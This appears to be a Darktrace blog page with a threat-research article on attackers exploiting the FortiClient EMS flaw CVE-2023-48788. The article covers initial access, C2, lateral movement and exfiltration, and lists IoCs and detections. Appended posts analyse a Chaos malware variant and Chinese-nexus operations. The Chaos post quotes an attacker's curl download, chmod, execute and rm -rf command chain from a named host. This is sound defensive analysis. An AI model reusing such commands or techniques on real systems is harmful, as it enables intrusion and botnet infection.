September 18, 2024

FortiClient EMS Exploited: Attack Chain & Post Exploitation Tactics

Read about the methods used to exploit FortiClient EMS and the critical post-exploitation tactics that affect cybersecurity defenses.

Written by

Emily Megan Lim

Cyber Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Emily Megan Lim

Cyber Analyst

Sep 2024

Cyber attacks on internet-facing systems

In the first half of 2024, the Darktrace Threat Research team observed multiple campaigns of threat actors targeting vulnerabilities in internet-facing systems, including Ivanti CS/PS appliances, Palo Alto firewall devices, and TeamCity on-premises.

These systems, which are exposed to the internet, are often targeted by threat actors to gain initial access to a network. They are constantly being scanned for vulnerabilities, known or unknown, by opportunistic actors hoping to exploit gaps in security. Unfortunately, this exposure remains a significant blind spot for many security teams, as monitoring edge infrastructure can be particularly challenging due to its distributed nature and the sheer volume of external traffic it processes.

In this blog, we discuss a vulnerability that was exploited in Fortinet’s FortiClient Endpoint Management Server (EMS) and the post-exploitation activity that Darktrace observed across multiple customer environments.

What is FortiClient EMS?

FortiClient is typically used for endpoint security, providing features such as virtual private networks (VPN), malware protection, and web filtering. The FortiClient EMS is a centralized platform used by administrators to enforce security policies and manage endpoint compliance. As endpoints are remote and distributed across various locations, the EMS needs to be accessible over the internet.

However, being exposed to the internet presents significant security risks, and exploiting vulnerabilities in the system may give an attacker unauthorized access. From there, they could conduct further malicious activities such as reconnaissance, establishing command-and-control (C2), moving laterally across the network, and accessing sensitive data.

CVE-2023-48788

CVE-2023-48788 is a critical SQL injection vulnerability in FortiClient EMS that can allow an attacker to gain unauthorized access to the system. It stems from improper neutralization of special elements used in SQL commands, which allows attackers to exploit the system through specially crafted requests, potentially leading to Remote Code Execution (RCE) [1]. This critical vulnerability was given a CVSS score of 9.8 and can be exploited without authentication.

The affected versions of FortiClient EMS include:

FortiClient EMS 7.2.0 to 7.2.2 (fixed in 7.2.3)
FortiClient EMS 7.0.1 to 7.0.10 (fixed in 7.0.11)

The vulnerability was publicly disclosed on March 12, 2024, and an exploit proof of concept was released by Horizon3.ai on March 21 [2]. Starting from March 24, almost two weeks after the initial disclosure, Darktrace began to observe at least six instances where the FortiClient EMS vulnerability had likely been exploited on customer networks. Seemingly exploited devices in multiple customer environments were observed performing anomalous activities, including the installation of Remote Monitoring and Management (RMM) tools, which was also reported by other security vendors around the same time [3].

Darktrace’s Coverage

Initial Access

To understand how the vulnerability can be exploited to gain initial access, we first need to explain some components of the FortiClient EMS:

The service FmcDaemon.exe is used for communication between the EMS and enrolled endpoint clients. It listens on port 8013 for incoming client connections.
Incoming requests are then sent to FCTDas.exe, which translates requests from other server components into SQL requests. This service interacts with the Microsoft SQL database.
Endpoint clients communicate with the FmcDaemon on the server on port 8013 by default.

Therefore, an SQL injection attack can be performed by crafting a malicious payload and sending it over port 8013 to the server. To carry out RCE, an attacker may send further SQL statements to enable and use the xp_cmdshell functionality of the Microsoft SQL server [2].

Shortly before post-exploitation activity began, Darktrace had observed incoming connections to some of the FortiClient EMS devices over port 8013 from the external IPs 77.246.103[.]110, 88.130.150[.]101, and 45.155.141[.]219. This likely represented the threat actors sending an SQL injection payload over port 8013 to the EMS device to validate the exploit.

Establish C2

After exploiting the vulnerability and gaining access to an EMS device on one customer network, two additional devices were seen with HTTP POST requests to 77.246.103[.]110 and 212.113.106[.]100 with a new PowerShell user agent.

Interestingly, the IP 212.113.106[.]100 has been observed in various other campaigns where threat actors have also targeted internet-facing systems and exploited other vulnerabilities. Open-source intelligence (OSINT) suggests that this indicator of compromise (IoC) is related to the Sliver C2 framework and has been used by threat actors such as APT28 (Fancy Bear) and APT29 (Cozy Bear) [4].

Unusual file downloads were also observed on four devices, including:

“SETUP.MSI” from 212.32.243[.]25 and 89.149.200[.]91 with a cURL user agent
“setup.msi” from 212.113.106[.]100 with a Windows Installer user agent
“run.zip” from 95.181.173[.]172 with a PowerShell user agent

The .msi files would typically contain the RMM tools Atera or ScreenConnect [5]. By installing RMM tools for C2, attackers can leverage their wide range of functionalities to carry out various tasks, such as file transfers, without the need to install additional tools. As RMM tools are designed to maintain a stable connection to remote systems, they may also allow the attackers to ensure persistent access to the compromised systems.

A scan of the endpoint 95.181.173[.]172 shows various other files such as “RunSchedulerTask.ps1” and “anydesk.exe” being hosted.

Figure 1: Screenshot of the endpoint 95.181.173[.]172 hosting various files [6].

Shortly after these unusual file downloads, many of the devices were also seen with usage of RMM tools such as Splashtop, Atera, and AnyDesk. The devices were seen connecting to the following endpoints:

*[.]relay.splashtop[.]com
agent-api[.]atera[.]com
api[.]playanext[.]com with user agent AnyDesk/8.0.9

RMM tools have a wide range of legitimate capabilities that allow IT administrators to remotely manage endpoints. However, they can also be repurposed for malicious activities, allowing threat actors to maintain persistent access to systems, execute commands remotely, and even exfiltrate data. As the use of RMM tools can be legitimate, they offer threat actors a way to perform malicious activities while blending into normal business operations, which could evade detection by human analysts or traditional security tools.

One device was also seen making repeated SSL connections to a self-signed endpoint “azure-documents[.]com” (104.168.140[.]84) and further HTTP POSTs to “serv1[.]api[.]9hits[.]com/we/session” (128.199.207[.]131). Although the contents of these connections were encrypted, they were likely additional infrastructure used for C2 in addition to the RMM tools that were used. Self-signed certificates may also be used by an attacker to encrypt C2 communications.

Internal Reconnaissance

Following the exploit, two of the compromised devices then started to conduct internal reconnaissance activity. The following figure shows a spike in the number of internal connections made by one of the compromised devices on the customer’s environment, which typically indicates a network scan.

Figure 2: Advanced Search results of internal connections made an affected device.

Reconnaissance tools such as Advanced Port Scanner (“www[.]advanced-port-scanner[.]com”) and Nmap were also seen being used by one of the devices to conduct scanning activities. Nmap is a network scanning tool commonly used by security teams for legitimate purposes like network diagnostics and vulnerability scanning. However, it can also be abused by threat actors to perform network reconnaissance, a technique known as Living off the Land (LotL). This not only reduces the need for custom or external tools but also reduces the risk of exposure, as the use of a legitimate tool in the network is unlikely to raise suspicion.

Privilege Escalation

In another affected customer network, the threat actor’s attempt to escalate their privileges was also observed, as a FortiClient EMS device was seen with an unusually large number of SMB/NTLM login failures, indicative of brute force activity. This attempt was successful, and the device was later seen authenticating with the credential “administrator”.

Figure 3: Advanced Search results of NTLM (top) and SMB (bottom) login failures.

Lateral Movement

After escalating privileges, attempts to move laterally throughout the same network were seen. One device was seen transferring the file “PSEXESVC.exe” to another device over SMB. This file is associated with PsExec, a command-line tool that allows for remote execution on other systems.

The threat actor was also observed leveraging the DCE-RPC protocol to move laterally within the network. Devices were seen with activity such as an increase in new RPC services, unusual requests to the SVCCTL endpoint, and the execution of WMI commands. The DCE-RPC protocol is typically used to facilitate communication between services on different systems and can allow one system to request services or execute commands on another.

These are further examples of LotL techniques used by threat actors exploiting CVE-2023-48788, as PsExec and the DCE-RPC protocol are often also used for legitimate administrative operations.

Accomplish Mission

In most cases, the threat actor’s end goal was not clearly observed. However, Darktrace did detect one instance where an unusually large volume of data had been uploaded to “put[.]io”, a cloud storage service, indicating that the end goal of the threat actor had been to steal potentially sensitive data.

In a recent investigation of a Medusa ransomware incident that took place in July 2024, Darktrace’s Threat Research team found that initial access to the environment had likely been gained through a FortiClient EMS device. An incoming connection from 209.15.71[.]121 over port 8013 was seen, suggesting that CVE-2023-48788 had been exploited. The device had been compromised almost three weeks before the ransomware was actually deployed, eventually resulting in the encryption of files.

Mitigating risk with proactive exposure management and real-time detection

Threat actors have continued to exploit unpatched vulnerabilities in internet-facing systems to gain initial access to a network. This highlights the importance of addressing and patching vulnerabilities as soon as they are disclosed and a fix is released. However, due to the rapid nature of exploitation, this may not always be enough. Furthermore, threat actors may even be exploiting vulnerabilities that are not yet publicly known.

As the end goals for a threat actor can differ – from data exfiltration to deploying ransomware – the post-exploitation behavior can also vary from actor to actor. However, AI security tools such as Darktrace / NETWORK can help identify and alert for post-exploitation behavior based on abnormal activity seen in the network environment.

Despite CVE-2023-48788 having been publicly disclosed and fixed in March, it appears that multiple threat actors, such as the Medusa ransomware group, have continued to exploit the vulnerability on unpatched systems. With new vulnerabilities being disclosed almost every other day, security teams may find it challenging continuously patch their systems.

As such, Darktrace / Proactive Exposure Management could also alleviate the workload of security teams by helping them identify and prioritize the most critical vulnerabilities in their network.

Insights from Darktrace’s First 6: Half-year threat report for 2024

First 6: half year threat report darktrace screenshot

Darktrace’s First 6: Half-Year Threat Report 2024 highlights the latest attack trends and key threats observed by the Darktrace Threat Research team in the first six months of 2024.

Focuses on anomaly detection and behavioral analysis to identify threats
Maps mitigated cases to known, publicly attributed threats for deeper context
Offers guidance on improving security posture to defend against persistent threats

‍

Appendices

Credit to Emily Megan Lim (Cyber Security Analyst) and Ryan Traill (Threat Content Lead)

References

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-48788

[2] https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/

[3] https://redcanary.com/blog/threat-intelligence/cve-2023-48788/

[4] https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793

[5] https://redcanary.com/blog/threat-intelligence/cve-2023-48788/

[6] https://urlscan.io/result/3678b9e2-ad61-4719-bcef-b19cadcdd929/

List of IoCs

IoC - Type - Description + Confidence

212.32.243[.]25/SETUP.MSI - URL - Payload
89.149.200[.]9/SETUP.MSI - URL - Payload
212.113.106[.]100/setup.msi - URL - Payload
95.181.173[.]172/run.zip - URL - Payload
serv1[.]api[.]9hits[.]com - Domain - Likely C2 endpoint
128.199.207[.]131 - IP - Likely C2 endpoint
azure-documents[.]com - Domain - C2 endpoint
104.168.140[.]84 - IP - C2 endpoint
77.246.103[.]110 - IP - Likely C2 endpoint
212.113.106[.]100 - IP - C2 endpoint

Darktrace Model Detections

Anomalous Connection / Callback on Web Facing Device

Anomalous Connection / Multiple HTTP POSTs to Rare Hostname

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Posting HTTP to IP Without Hostname

Anomalous Connection / Powershell to Rare External

Anomalous Connection / Rare External SSL Self-Signed

Anomalous Connection / Suspicious Self-Signed SSL

Anomalous Server Activity / Rare External from Server

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous Server Activity / Server Activity on New Non-Standard Port - External

Compliance / Remote Management Tool On Server

Device / New User Agent

Device / New PowerShell User Agent

Device / Attack and Recon Tools

Device / ICMP Address Scan

Device / Network Range Scan

Device / Network Scan

Device / RDP Scan

Device / Suspicious SMB Scanning Activity

Anomalous Connection / Multiple SMB Admin Session

Anomalous Connection / New or Uncommon Service Control

Anomalous Connection / Unusual Admin SMB Session

Device / Increase in New RPC Services

Device / Multiple Lateral Movement Breaches

Device / New or Uncommon WMI Activity

Device / New or Unusual Remote Command Execution

Device / SMB Lateral Movement

Device / Possible SMB/NTLM Brute Force

Unusual Activity / Successful Admin Brute-Force Activity

User / New Admin Credentials on Server

Unusual Activity / Enhanced Unusual External Data Transfer

Unusual Activity / Unusual External Data Transfer

Unusual Activity / Unusual External Data to New Endpoint

Device / Large Number of Model Breaches

Device / Large Number of Model Breaches from Critical Network Device

MITRE ATT&CK Mapping

Tactic – ID: Technique

Initial Access – T1190: Exploit Public-Facing Application

Resource Development – T1587.003: Develop Capabilities: Digital Certificates

Resource Development – T1608.003: Stage Capabilities: Install Digital Certificate

Command and Control – T1071.001: Application Layer Protocol: Web Protocols

Command and Control – T1219: Remote Access Software

Execution – T1059.001: Command and Scripting Interpreter: PowerShell

Reconnaissance – T1595: Active Scanning

Reconnaissance – T1590.005: Gather Victim Network Information: IP Addresses

Discovery – T1046: Network Service Discovery

Credential Access – T1110: Brute Force

Defense Evasion,Initial Access,Persistence,Privilege Escalation – T1078: Valid Accounts

Lateral Movement – T1021.002: Remote Services: SMB/Windows Admin Shares

Lateral Movement – T1021.003: Remote Services: Distributed Component Object Model

Execution – T1569.002: System Services: Service Execution

Execution – T1047: Windows Management Instrumentation

Exfiltration – T1041: Exfiltration Over C2 Channel

Exfiltration – T1567.002: Exfiltration Over Web Service: Exfiltration to Cloud Storage

‍

Written by

Emily Megan Lim

Cyber Analyst

Inside the SOC

Written by

Emily Megan Lim

Cyber Analyst

•

April 7, 2026

Nathaniel Bill

Malware Research Engineer

VP, Security & AI Strategy, Field CISO

Watch the NIS2 Webinar

Blog

April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

*Figure 1: The initial infection being delivered to the unsecured endpoint.*

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

‍curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.‍
chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.‍
./7c49006c2e417f20c732409ead2d6cc0. - executes the malware‍
rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

*Figure 2: The creation of the systemd persistence service.*

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

HTTP
TLS
TCP
UDP
WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

*Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.*

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server. At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

About the author

Nathaniel Bill

Malware Research Engineer

Blog

Network

April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience

Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.

What the data shows

Several clear trends emerged from the analysis:

Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.
Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.
Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

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Check out this article by Darktrace: FortiClient EMS Exploited: Attack Chain & Post Exploitation Tactics

FortiClient EMS Exploited: Attack Chain & Post Exploitation Tactics

Cyber attacks on internet-facing systems

What is FortiClient EMS?

CVE-2023-48788

Darktrace’s Coverage

Initial Access

Establish C2

Internal Reconnaissance

Privilege Escalation

Lateral Movement

Accomplish Mission

Mitigating risk with proactive exposure management and real-time detection

Insights from Darktrace’s First 6: Half-year threat report for 2024

Appendices

References

List of IoCs

Darktrace Model Detections

MITRE ATT&CK Mapping

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience

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Blog

April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Introduction

What is Chaos Malware?

Darktrace’s view of a Chaos Malware Compromise

Analysis of the updated Chaos malware sample

Key takeaways

Indicators of Compromise (IoCs)

References

Blog

Network

April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience

How Chinese-nexus cyber threats have changed over time

How Darktrace analysts took a behavioral approach to a complex problem

What the data shows

Two models of cyber operations

Rethinking cyber risk

What comes next